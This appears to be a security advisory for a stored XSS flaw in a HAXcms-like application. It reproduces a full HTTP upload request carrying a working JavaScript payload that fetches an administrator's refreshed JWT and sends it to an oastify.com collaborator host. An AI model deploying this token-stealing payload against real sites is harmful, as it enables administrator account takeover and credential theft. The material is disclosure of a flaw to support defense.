Stored XSS Leading to Account Takeover
The Exploit Chain:
1.Upload: The attacker uploads an .html file containing a JavaScript payload.
2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file.
3.Token Refresh: The JavaScript payload makes a fetch request to the /system/api/refreshAccessToken endpoint. Because the administrator is logged in, their browser automatically attaches the haxcms_refresh_token cookie to this request.
4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response.
5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server.
6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application.
Vulnerability recurrence:
<img width="1198" height="756" alt="image" src="https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3" />
Then we test access to this html
<img width="1433" height="1019" alt="image" src="https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253" />
You can obtain other people's identity information
<img width="1082" height="290" alt="image" src="https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275" />
POST /system/api/saveFile?siteName=yu&sitetoken=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtwCHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128
------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import"
true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain
<script> // This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); }); </script> <h1>Processing your request...</h1> ------WebKitFormBoundary7MA4YWxkTrZu0gW--
The attacker now possesses a valid administrator JWT and can take full control of the application.
{
"nvd_published_at": "2026-01-10T07:16:03Z",
"cwe_ids": [
"CWE-79"
],
"github_reviewed_at": "2026-01-13T15:07:57Z",
"severity": "HIGH",
"github_reviewed": true
}